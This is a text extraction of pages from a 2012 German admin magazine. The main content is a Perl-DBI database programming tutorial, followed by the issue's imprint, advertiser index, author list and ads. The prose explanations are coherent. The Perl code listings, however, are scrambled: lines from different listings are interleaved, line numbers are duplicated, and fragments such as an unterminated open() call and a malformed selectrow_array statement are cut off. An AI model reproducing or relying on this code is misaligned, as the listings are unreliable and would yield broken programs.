[http:// godashboard. appspot. com/]<br />

[11] Falcore: [http:// ngenuity. ngmoco. com/ 2012/​<br />

01/ introducing‐falcore‐and‐timber. html]<br />

[12] Building Stathat with Go: [http://​<br />

blog. golang. org/ 2011/ 12/​<br />

building‐stathat‐with‐go. html]<br />

126 Ausgabe 04-2012 Admin www.admin-magazin.de


Perl-DBI<br />

Programmieren<br />

© Stanislav Komogorov, 123RF<br />

Grundlagen der Datenbankprogrammierung unter Perl<br />

Erschließungsarbeiten<br />

Beim Programmieren bewähren sich oft Arrays oder Hashes als Datensilos,<br />

jedenfalls solange ihre Daten das Programm, das sie verwendet,<br />

nicht zu überleben brauchen. Wer wahlfreien Zugriff auf persistente Daten<br />

braucht, dem bietet sich beispielsweise eine Datenbank an. Doch wie<br />

kommt er dann an die dort gespeicherten Informationen? Jens-Christoph Brendel<br />

Um eine Datenbank interaktiv zu befragen,<br />

benutzt man am besten einen<br />

SQL-Client. Solche Applikationen gibt es<br />

für jedes Betriebssystem in unterschiedlicher<br />

Qualität beinah wie Sand am Meer.<br />

Die Kommandozeilentools darunter kann<br />

man durchaus auch aus einem Skript heraus<br />

beschicken, dennoch bietet sich für<br />

den Datenbankzugriff aus einer Applikation<br />

eher eine native Datenbankschnittstelle<br />

an. Traditionellerweise hatte jede<br />

Datenbank ihre eigene API. Natürlich<br />

waren damit auch die Probleme programmiert,<br />

sollte man die Datenbank einmal<br />

wechseln wollen oder nur eine Version<br />

nicht mehr vollständig rückwärts kompatibel<br />

sein. Deswegen haben sich schon<br />

lange Standards herausgebildet, die entweder<br />

sowohl sprach- wie datenbankunabhängig<br />

sind, etwa Microsofts ODBC<br />

(Open Database Connectivity), oder die<br />

einer Sprache zuzuschreiben, aber mit<br />

vielen Datenbanken kombinierbar sind.<br />

Beispiele dafür sind JDBC (Java Database<br />

Connectivity), das zu Java gehört, ADO<br />

(ActiveX Data Objects), verbandelt mit<br />

Visusal Basic, BDE (Borland Database<br />

Engine), ein Kind von Object Pascal/​Delphi<br />

oder eben Perl-DBI (Perl DataBase<br />

Independent), das mit Perl verheiratet ist.<br />

Dieses DBI-Interface soll hier vorgestellt<br />

werden.<br />

Zweiteiler<br />

Das Datenbank-Interface DBI bestand<br />

von Anfang an aus zwei Teilen. Die Befehle<br />

des Programmierers nimmt dabei<br />

immer das eigentliche DBI-Modul ent<strong>gegen</strong>,<br />

das mit »use DBI;« in das Programm<br />

eingebunden sein muss, das die Datenbank<br />

befragen will. Um die konkrete<br />

Datenbeschaffung kümmern sich da<strong>gegen</strong><br />

datenbankspezifische DBD-Module<br />

(Database Driver), die es sowohl für die<br />

allermeisten Datenbanken als auch für<br />

die oben erwähnten Schnittstellenfamilien<br />

gibt. Daneben existieren auch Treiber<br />

für Datenstrukturen wie XML oder CSV.<br />

Diese Architektur macht es leicht, das<br />

System für neue Datenbanken oder Versionen<br />

anzupassen, indem man lediglich<br />

den passenden Treiber ergänzt, während<br />

das DBI-Modul und die Software, die es<br />

verwendet, so bleiben kann, wie sie ist.<br />

Kein Wunder also, dass das CPAN 30<br />

Bildschirmseiten DBD-Module listet.<br />

Welcher Treiber genau gebraucht wird,<br />

um eine konkrete Datenbank anzusprechen,<br />

erfährt das DBI-Modul aus einer<br />

»connect«-Anweisung, die allen Datenbankabfragen<br />

vorausgehen muss. Einen<br />

passenden DBD-Treiber muss DBI dann<br />

im Perl-Modulpfad finden können.<br />

Wer wissen will, ob das klappen wird,<br />

muss freilich nicht auf eine eventuelle<br />

Fehlermeldung warten, sondern kann<br />

vorher ohne Aufwand testen, welche<br />

Datenbanken DBI in der jeweiligen Umgebung<br />

bereits kennt. DBI enthält dafür<br />

und für verschiedene andere Zwecke eine<br />

Reihe von Service-Methoden. Da die datenbankbenutzende<br />

Anwendung sicher<br />

in nicht wenigen Fällen eine Webapplikation<br />

sein wird, benutzen wir hier auch<br />

eine Mini-Webseite zum Testen (Listing<br />

1). Das Skript muss für den Benutzer,<br />

unter dessen Account der Webserver<br />

läuft, ausführbar sein und im »cgi‐bin«-<br />

Verzeichnis liegen.<br />

Wenn alles glatt geht, liefert der Test eine<br />

Tabelle mit den Treibernamen. Ist die<br />

eigene Datenbank hier noch nicht vorhanden,<br />

muss man zuerst das DBD-Treibermodul<br />

installieren. Manchmal paketieren<br />

Linux-Distributionen eine Auswahl<br />

solcher Treiber, Ubuntu beispielsweise<br />

zumeist unter dem Namen libdbd-Datenbankname<br />

für MySQL, PostgreSQL,<br />

SQLite, MS SQL und Sybase. Wer keine<br />

Binärpakete vorfindet, kann die Treiber<br />

aber auch sehr einfach via CPAN-Shell<br />

nachladen.<br />

Königsweg<br />

Sind alle Treiber an Bord, ist die Datenbank<br />

eingerichtet und funktioniert sie,<br />

geht es los. In den allermeisten Fällen<br />

kann sich der Anwender bei gewöhnlichen<br />

Abfragen an die Schrittfolge aus<br />

Listing 2 halten.<br />

Zeile 4 folgt dem Schema<br />

$dbh = DBI‐>connect( $data_source, U<br />

$username, $password, \%attr );<br />

Sie stellt in diesem Fall die Verbindung<br />

zu einer MySQL-Datenbank »testdb« mit<br />

dem Account des Nutzers »root« ohne<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

127


Programmieren<br />

Perl-DBI<br />

Listing 5: Datenimport<br />

01 #!/usr/bin/perl ‐w<br />

02 use strict;<br />

03 use DBI;<br />

04 <br />

05 my $anz;<br />

Listing 4: In einem Schritt<br />

01 #!/usr/bin/perl ‐w<br />

02 use strict;<br />

03 use DBI;<br />

04 <br />

Listing 3: Abfrageschleife<br />

01 #!/usr/bin/perl ‐w<br />

02 use strict;<br />

03 use DBI;<br />

04 <br />

Listing 2: Standardschritte<br />

01 01 #!/usr/bin/perl ‐w<br />

02 02 use strict;<br />

03 03 use DBI;<br />

04 <br />

Listing 1: Treibertest<br />

01 #!/usr/bin/perl ‐w<br />

02 use strict;<br />

03 use DBI;<br />

04 use CGI qw(:standard escapeHTML);<br />

05 <br />

06 my @treiber = DBI‐>available_drivers();<br />

07 <br />

08 print header();<br />

09 start_html("DBD‐Treiber‐Test");<br />

10 print "connect('dbi:mysql:testdb:l<br />

ocalhost:3306','root','', {PrintError=>0,<br />

RaiseError=>1});<br />

06 <br />

07 my $ref=$dbh‐>selectall_arrayref("SELECT name,<br />

06 my $dbh=DBI‐>connect('dbi:mysql:testdb:l<br />

ocalhost:3306','root','', {PrintError=>0,<br />

RaiseError=>1});<br />

07 my $sth=$dbh‐>prepare("INSERT INTO adresses<br />

(name, street, nr) VALUES(?,?,?)");<br />

08 <br />

Passwort her. Zurückgegeben wird ein<br />

Datenbank-Handle, das für eine konkrete<br />

Datenbankverbindung über einen<br />

bestimmten Treiber steht. Man kann aus<br />

einer Anwendung sowohl gleichzeitig<br />

Verbindungen zu beliebig vielen verschiedenen<br />

Datenbanken aufbauen, als<br />

auch mehrere Verbindungen zu ein und<br />

derselben Datenbank.<br />

Der Parameter »PrintError« hält DBI dazu<br />

an, automatisch Perls »warn()«-Funktion<br />

zu verwenden, wenn es auf einen Fehler<br />

stößt. Setzt man da<strong>gegen</strong> wie im Beispiel<br />

»RaiseError« auf »1«, dann verwendet<br />

DBI stattdessen die »die()«-Funktion<br />

07 05 my $SQL="SELECT * from testtabelle WHERE id<br />

= 23;";<br />

08 06 my $sth=$dbh‐>prepare($SQL);<br />

09 07 $sth‐>execute();<br />

10 08 my $result=$sth‐>fetchrow_hashref();<br />

11 09 $sth‐>finish();<br />

12 10 my $rc = $dbh‐>disconnect();<br />

adresses";<br />

07 my $sth=$dbh‐>prepare($SQL);<br />

08 $sth‐>execute();<br />

09 while( my $ref = $sth‐>fetchrow_hashref('NAME_<br />

uc')) {<br />

10 printf "name=%s, street=%s, nr=%d\n",<br />

$ref‐>{NAME}, $ref‐>{STREET}, $ref‐>{NR};<br />

11 }<br />

street, nr FROM adresses");<br />

08 <br />

09 if (defined($ref)) {<br />

10 foreach my $zeile (@{$ref}) {<br />

11 printf "name=%s, street=%s, nr=%d\n",<br />

$zeile‐>[0], $zeile‐>[1], $zeile‐>[2];<br />

12 }<br />

13 }<br />

09 open(ADDRDAT, "


Perl-DBI<br />

Programmieren<br />

Ruft man »selectrow_array()« in einem<br />

Skalar-Kontext auf, dann liefert es nur die<br />

erste Spalte der ersten Zeile des Ergebnisses<br />

zurück. Das ist besonders praktisch,<br />

wenn man nur an der Anzahl der Resultate<br />

interessiert ist:<br />

$anz=selectrow_array(SELECT COUNT(*) FROM U<br />

testtab");<br />

Generell geben alle Routinen, die Arrays<br />

liefern, eine leere Liste zurück, sobald die<br />

Ergebnismenge ausgeschöpft ist, und alle<br />

Routinen, die Referenzen liefern, retounieren<br />

in diesem Fall »undef«.<br />

Ist man an allen Resultaten interessiert,<br />

eignen sich zur Abfrage daher Schleifen<br />

wie in Listing 3. Ein kleiner Trick dabei<br />

ist, »fetchrow_hashref()« über den Parameter<br />

zur Großschreibung der Schlüssel<br />

zu zwingen, sodass sie garantiert zur<br />

Schreibweise im »prinf«-Statement passen.<br />

Etwas bequemer kommt man mit<br />

einer Abfrage der höheren Ordnung zum<br />

selben Ziel (Listing 4).<br />

Platzhalter<br />

In vielen Fällen will die Applikation nicht<br />

nur lesend auf die Datenbank zugreifen,<br />

sondern auch Inhalte verändern. DBI<br />

kennt für SQL-Statements, die keine Zeilen<br />

zurückgeben, die Methode »do()«.<br />

$dbh‐>do("INSERT INTO adresses U<br />

(name, street, nr) VALUES('guenther',U<br />

'nelkenweg',7)");<br />

Auch »UPDATE«- oder »DELETE«-Anweisungen<br />

lassen sich via »do()« ausführen.<br />

Dabei gibt die Methode »undef« zurück,<br />

wenn es bei ihrer Ausführung zu einem<br />

Fehler kommt. Kann die Datenbank das<br />

Statement da<strong>gegen</strong> zwar ausführen, findet<br />

aber keine Zeile, auf die es zutrifft,<br />

liefert »do()« den Wert »0E0« zurück.<br />

Zeichenketten in Insert- oder Update-<br />

Anweisungen müssen in Anführungszeichen<br />

stehen, was insofern ein kleines<br />

Problem heraufbeschwören kann, als<br />

bereits das SQL-Statement als solches<br />

an- und abgeführt werden muss. Dafür<br />

gibt es verschiedene Lösungen: Entweder<br />

man verwendet immer doppelte Anführungszeichen,<br />

muss dann aber diejenigen<br />

im Innern des SQL-Statements mit einem<br />

Backslash maskieren. Oder man setzt das<br />

SQL-Statement in einfache Anführungen,<br />

dann müssen doppelte im Innern nicht<br />

maskiert werden. Oder man verwendet<br />

Platzhalter.<br />

Als Platzhalter dient das Fragezeichen<br />

an Stelle eines Datenwertes, der später<br />

nachgereicht wird. Besonders effizient ist<br />

diese Form dann, wenn ein und dieselbe<br />

Abfrage mit immer wechselnden Werten<br />

wiederholt wird. Dann kommt diese<br />

Technik auch der Performance zugute,<br />

denn die Datenbank muss nur einmal<br />

einen Ausführungsplan berechnen und<br />

kann ihn dann jedes Mal wiederverwenden.<br />

Das Beispiel in Listing 5 liest Daten<br />

aus einer CSV-Datei und speichert sie in<br />

einer Tabelle. Nebenbei: Diese Listings<br />

sollen nicht im Produktivbetrieb laufen,<br />

sondern nur DBI-Funktionen beispielhaft<br />

demonstrieren. Deshalb verzichten sie<br />

bewusst auf alles, was dafür verzichtbar<br />

ist, beispielsweise auch auf eine<br />

Fehlerbehandlung, wie man sie natürlich<br />

normalerweise bräuchte, um etwa<br />

leere oder falsch formatierte CSV-Zeilen<br />

abzufangen.<br />

Shit happens<br />

Zum Schluss noch ein<br />

paar Worte zur Fehlersuche<br />

in solchen<br />

Skripten. Eine erste<br />

Maßnahme ist bereits<br />

das Einschalten des<br />

Warnmodus »‐w« von<br />

Perl, was dazu führt,<br />

dass sich der Interpreter<br />

über Sachen beklagt,<br />

die ihm komisch<br />

vorkommen. Auch »use<br />

strict;« sollte selbstverständlich<br />

sein, damit<br />

man nicht über triviale<br />

Patzer wie verschriebene<br />

Variablennamen<br />

stolpert. Ansonsten<br />

beugt der oben schon<br />

erwähnte DBI-Parameter<br />

»RaiseError()«<br />

wirksam vor, indem<br />

er automatisch den<br />

Rückgabewert jedes<br />

DBI-Methodenaufrufs<br />

checkt und das Skript<br />

beendet, wenn etwas<br />

schiefgelaufen ist. Die<br />

nächste gute Quelle für<br />

Hinweise auf Probleme<br />

ist das Error-Log der Datenbank (soweit<br />

beteiligt auch das des Webservers). Zur<br />

Laufzeit konstruierte SQL-Abfragen kann<br />

man zu Testzwecken vorher auch mit<br />

»print« ausgeben. Allerdings funktioniert<br />

das nicht mehr, wenn sie Platzhalter<br />

verwenden. In diesem Fall muss man<br />

das Tracing des DBI-Moduls einschalten,<br />

um zu sehen, was es tatsächlich an die<br />

Datenbank übermittelt. Nötig ist mindestens<br />

der Trace Level 2. Einstellen kann<br />

man ihn auf zweierlei Weise: entweder<br />

über ein Handle<br />

$sth‐>{TraceLevel}=2;<br />

oder über eine Environment-Variable:<br />

DBI_TRACE=2=dbitrace.log<br />

export DBI_TRACE<br />

In letzterem Fall kann man auch eine<br />

Log-Datei an beliebigem Ort mit angeben.<br />

Andernfalls landen alle Ausgaben<br />

wie auch im Fall der Konfiguration über<br />

das Handle auf StdOut. <br />

n<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

129


Service<br />

Impressum und <strong>Vorschau</strong><br />

Impressum ISSN 2190-1066<br />

<strong>ADMIN</strong>-<strong>Magazin</strong> eine Publikation der Linux New Media AG<br />

Redaktionsanschrift Putzbrunner Straße 71<br />

81739 München<br />

Tel.: 0 89/99 34 11-0<br />

Fax: 0 89/99 34 11-99 oder -96<br />

Internet<br />

www.admin-magazin.de<br />

E-Mail<br />

redaktion@admin-magazin.de<br />

Geschäftsleitung Brian Osborn (Vorstand), bosborn@linuxnewmedia.de<br />

Hermann Plank (Vorstand), hplank@linuxnewmedia.de<br />

Chefredakteure Oliver Frommel (V.i.S.d.P.),<br />

ofrommel@admin-magazin.de (ofr)<br />

Jens-Christoph Brendel<br />

jbrendel@admin-magazin.de (jcb)<br />

Redaktion<br />

News/Report<br />

Ulrich Bantle (Ltg.), ubantle@linuxnewmedia.de (uba)<br />

Mathias Huber, mhuber@linuxnewmedia.de (mhu)<br />

Software/Test<br />

Marcel Hilzinger, mhilzinger@linuxnewmedia.de, (mhi)<br />

Kristian Kißling, kkissling@linuxnewmedia.de, (kki)<br />

Security/Networking Markus Feilner, mfeilner@linuxnewmedia.de (mfe)<br />

Thomas Leichtenstern, tleichtenstern@linuxnewmedia.de (tle)<br />

Ständige Mitarbeiter Elke Knitter (Schlussredaktion),<br />

Carsten Schnober, Tim Schürmann, Claudia Thalgott<br />

Produktionsleitung Christian Ullrich, cullrich@linuxnewmedia.de<br />

Grafik<br />

Klaus Rehfeld, Judith Erb<br />

Titel: Judith Erb, Ausgangsgrafik: tiero, 123RF<br />

Abo-Infoseite<br />

Abonnenten-Service<br />

www.admin-magazin.de/abo<br />

Veronika Kramer<br />

abo@admin-magazin.de<br />

Tel.: 07131/27 07 274, Fax: 07131/27 07 78 601<br />

Preise Print Deutschland Österreich Schweiz Ausland EU<br />

Einzelheft € 9,80 € 10,80 Sfr 19,60 (siehe Titel)<br />

Mini-Abo (2 Ausgaben) € 9,80 € 10,80 Sfr 19,60 (siehe Titel)<br />

Jahres-DVD (Einzelpreis) € 14,95 € 14,95 Sfr 18,90 € 14,95<br />

Jahres-DVD (zum Abo 1 ) € 6,70 € 6,70 Sfr 8,50 € 6,70<br />

Jahresabo € 49,90 € 54,90 Sfr 99,90 € 59,90<br />

Preise Digital Deutschland Österreich Schweiz Ausland EU<br />

Heft-PDF Einzelausgabe € 9,80 € 9,80 Sfr 10,71 € 9,80<br />

DigiSub (6 Ausgaben) € 44,90 € 44,90 Sfr 49,05 € 44,90<br />

DigiSub (zum Printabo) € 6,— € 6,— sfr 6,— € 6,—<br />

HTML-Archiv (zum Abo 1 ) € 48,— € 48,— sfr 48,— € 48,—<br />

Preise Kombiabos<br />

Profi-Abo 2 € 136,60 € 151,70 Sfr 259,90 € 165,70<br />

1<br />

nur erhältlich in Verbindung mit einem Jahresabo Print oder Digital<br />

2<br />

mit Linux-<strong>Magazin</strong>-Abo und beiden Jahres-DVDs<br />

Schüler- und Studentenermäßigung: 20 Prozent <strong>gegen</strong> Vorlage eines Schülerausweises oder einer aktuellen<br />

Immatrikulationsbescheinigung. Der aktuelle Nachweis ist bei Verlängerung neu zu erbringen. Andere Abo-<br />

Formen, Ermäßigungen im Ausland etc. auf Anfrage.<br />

Adressänderungen bitte umgehend mitteilen, da Nachsendeaufträge bei der Post nicht für Zeitschriften gelten.<br />

Pressemitteilungen info@admin-magazin.de<br />

Anzeigen/Repräsentanz<br />

Es gilt die Anzeigenpreisliste vom 01.01.2010<br />

National<br />

Pressevertrieb<br />

Druck<br />

Petra Jaser<br />

Tel.: 089/99 34 11 24, Fax: 089/99 34 11 99<br />

E-Mail: anzeigen@admin-magazin.de<br />

MZV, Moderner Zeitschriften Vertrieb GmbH<br />

Breslauer Straße 5, 85386 Eching<br />

Tel.: 089/31906-0, Fax: 089/31906-113<br />

Vogel Druck und Medienservice GmbH<br />

97204 Höchberg<br />

Der Begriff Unix wird in dieser Schreibweise als generelle Bezeichnung für die Unix-ähnlichen Betriebssysteme<br />

verschiedener Hersteller, zum Beispiel Eurix (Comfood), Ultrix (Digital Equipment), HP/UX (Hewlett-Packard) oder Sinix<br />

(Siemens) benutzt, nicht als die Bezeichnung für das Trademark von X/Open. Linux ist eingetragenes Marken zeichen von<br />

Linus Torvalds und wird in unserem Markennamen mit seiner Erlaubnis verwendet. Alle anderen Marken sind Eigentum<br />

der jeweiligen Inhaber. Eine Haftung für die Richtigkeit von Veröffentlichungen kann trotz sorgfältiger Prüfung durch<br />

die Redaktion vom Verlag nicht übernommen werden. Mit der Einsendung von Manu s kripten gibt der Verfasser seine<br />

Zustimmung zum Abdruck im Admin-<strong>Magazin</strong>. Für unverlangt ein gesandte Manuskripte kann keine Haftung übernommen<br />

werden. Die Redaktion behält sich vor, Artikel zu kürzen. Das Exklusiv- und Verfügungsrecht für angenommene<br />

Manuskripte liegt beim Verlag. Es darf kein Teil des Inhalts ohne ausdrückliche schriftliche Genehmigung des Verlags in<br />

irgendeiner Form vervielfältigt oder verbreitet werden. Copyright © 1994–2012 Linux New Media AG<br />

Inserentenverzeichnis<br />

1&1 Internet AG http://​www.einsundeins.de 7<br />

<strong>ADMIN</strong> http://​www.admin-magazin.de 45, 97<br />

aktivoptik http://​www.aktivoptik.de 123<br />

Android User http://​www.android-user.de 69, 87<br />

Carhartt http://​www.carhartt-wip.com 113<br />

Deutsche Python Konferenz - PyCon http://​de.pycon.org 25<br />

Fernschule Weber GmbH http://​www.fernschule-weber.de 111<br />

Galileo Press http://​www.galileo-press.de 13<br />

Heinlein Professional Linux<br />

Support GmbH http://​www.heinlein-support.de 67<br />

Hetzner Online AG http://​www.hetzner.de 132<br />

Host Europe GmbH http://​www.hosteurope.de 33<br />

Hostserver GmbH http://​www.hostserver.de 2<br />

Inlab Software GmbH http://​www.inlab.de 125<br />

ISC Events http://​www.isc-events.com 31<br />

Kamp Netzwerkdienste GmbH http://​www.kamp.net 27<br />

Kettner Mathias - Linux Experte http://​www.mathias-kettner.de 73<br />

Lamarc EDV-Schulungen u. Beratung<br />

GmbH http://​www.lamarc.com 77<br />

Linux-Hotel http://​www.linuxhotel.de 55<br />

Linux-<strong>Magazin</strong> http://​www.linux-magazin.de 81<br />

Linux-<strong>Magazin</strong> Academy http://​academy.linux-magazin.de 39, 103, 131<br />

Linux-<strong>Magazin</strong> Online http://​www.linux-magazin.de 85<br />

LinuxUser http://​www.linuxuser.de 105<br />

Netzwerktotal http://​www.netzwerktotal.de 129<br />

pascom - Netzwerktechnik<br />

GmbH & Co.KG http://​www.pascom.net 11<br />

Plus<strong>Server</strong> AG http://​www.plusserver.de 14, 50, 62, 74<br />

Securepoint GmbH http://​www.securepoint.de 65<br />

Springer Verlag GmbH & Co.KG http://​www.springer.com 9<br />

Strato AG http://​www.strato.de 23<br />

Einem Teil dieser Ausgabe liegt eine Beilage der Firma HACKATTACK IT SECURITY GmbH<br />

(http://​www.hackattack.com ) bei. Wir bitten unsere Leser um freundliche Beachtung.<br />

Autoren dieser Ausgabe<br />

Eric Amberg Schweizer Netzwerkmesser 28<br />

Thomas Drilling An vorderster Front 106<br />

Thomas Drilling In Harmonie 94<br />

Thomas Drilling Wettkampf 76<br />

Egon Grünter Die Pflichten des Protokolls 40<br />

Werner Fischer Dicke Leitung 24<br />

Jan Gassen Fallensteller 46<br />

Thomas Joos Rundum sorglos 110<br />

Thomas Joos Verschwägert 99<br />

Michael Kofler Abgerundet 118<br />

Martin Loschwitz Oldie but Goldie 70<br />

David Lutterkort Anschlussfreudig 114<br />

Vilma Niclas Ablageordnung 18<br />

Thorsten Scherf Dienstbarer Geist 16<br />

Sebastian Schinzel Seitenkanäle mit Untiefen 52<br />

Georg Schönberger Hochgeschwindigkeit 82<br />

Tim Schürmann Abgedichtet 56<br />

Dr. Udo Seidel Flugschreiber 64<br />

Oliver Sennhauser Abgesichert 88<br />

Ramon Wartala Das vierte Programm 102<br />

Harald Zisler Benutzer gut geführt 96<br />

© James Thew, 123RF<br />

VORSCHAU<br />

<strong>ADMIN</strong> 05/2012 erscheint am 13. september 2012<br />

Virtualisierung<br />

KVM ist dabei, sich als Standardlösung<br />

zur Virtualisierung unter Linux zu<br />

etablieren. Der kommende <strong>ADMIN</strong>-<br />

Schwerpunkt testet Management-Tools<br />

und zeigt Optimierungsmöglichkeiten.<br />

Ein Praxistest vergleicht Software für<br />

eigene Cloud-Speicher.<br />

Management<br />

Eine zentrale Verwaltung vereinfacht<br />

die Administration einer<br />

Rechnerlandschaft erheblich.<br />

Rex hilft dabei und bietet einen mit<br />

Perl skriptbaren Baukasten, der<br />

mit den meisten Betriebssystemen<br />

zurechtkommt.<br />

130 Ausgabe 04-2012 Admin www.admin-magazin.de


Linux-<strong>Magazin</strong><br />

ACADEMY<br />

LPIC-1<br />

All-in-One Solution<br />

✓<br />

Stellen Sie Ihr Linux-Wissen mit<br />

einer Zertifizierung unter Beweis!<br />

✓ Nutzen Sie die volle Flexibilität bei<br />

der Zeiteinteilung Ihrer Schulung!<br />

✓ Holen Sie sich alles, was Sie<br />

benötigen, in einem Paket!<br />

LPIC-1 Komplettpaket* nur € 1.490<br />

*Zertifizierung als „Junior Level Linux Professional“<br />

100% flexibel!<br />

Weitere Infos: academy.linux-magazin.de/solution


Hetzner Online unterstützt mit der<br />

Verwendung von 100% regenerativem<br />

Strom aktiv den Umweltschutz.<br />

Entscheiden Sie sich gemeinsam<br />

mit uns für eine saubere Zukunft.

Hurra! Ihre Datei wurde hochgeladen und ist bereit für die Veröffentlichung.

Erfolgreich gespeichert!

Leider ist etwas schief gelaufen!